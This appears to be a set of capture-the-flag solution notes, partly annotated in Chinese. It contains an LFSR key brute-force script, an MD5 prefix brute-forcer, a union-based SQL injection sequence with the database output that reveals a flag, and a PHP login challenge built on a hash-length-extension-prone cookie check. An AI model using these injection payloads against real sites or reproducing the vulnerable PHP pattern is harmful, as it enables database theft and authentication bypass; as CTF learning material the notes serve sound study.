f=open("key","ab") #ab,二进制方式打开追加 for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) #其实根本不用管加密过程 tmp=(tmp << 1)^out f.write(chr(tmp)) f.close()
while count <= 2**19: count += 1 #print(count) R = count for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out if tmp != c[i]: #模拟过程比较得到的加密结果每一个字符是否相等 break if i == 11: print('flag{%s}' % bin(count)[2:]) exit(0)
def getmd5(code): for i in range(9999): temp = hashlib.md5(str(i)).hexdigest() if temp[0:4] == code: return i print getmd5('084a')
#-1' union select 1,2,database()# #-1' union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where table_schema='security' # #-1' union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_schema='security' && table_name='f1ag'# #-1' union select 1,2,group_concat(id,'|',flagg) from f1ag #
SQL手注 -1' union select 1,2,3 # 2,3回显,1没回显(共三列)
-1' union select 1,2,database()# security
-1' union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where table_schema='security' #
Your Login name:2 Your Password:emails,f1ag,referers,uagents,users
-1' union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_schema='security' && table_name='f1ag'#
Your Login name:2 Your Password:id,flagg
-1' union select 1,2,group_concat(id,'|',flagg) from f1ag #
Your Login name:2 Your Password:1|skctf{SQL_injection_md5}
$flag = "xxxxxxxx"; $secret = "xxxxxxxxxxxxxxxxxxxxxxxxx"; // This secret is 15 characters long for security! $username = $_POST["username"]; $password = $_POST["password"]; if (!empty($_COOKIE["getmein"])) { if (urldecode($username) === "admin" && urldecode($password) != "admin") { if ($_COOKIE["getmein"] == md5($secret . urldecode($username . $password))) { echo "Congratulations! You are a registered user.\n"; die ("The flag is ". $flag); } else { die ("Your cookies don't match up! STOP HACKING THIS SITE."); } } else { die ("You are not an admin! LEAVE."); } } setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7)); echo "<h1>hello ctfer!<h1>";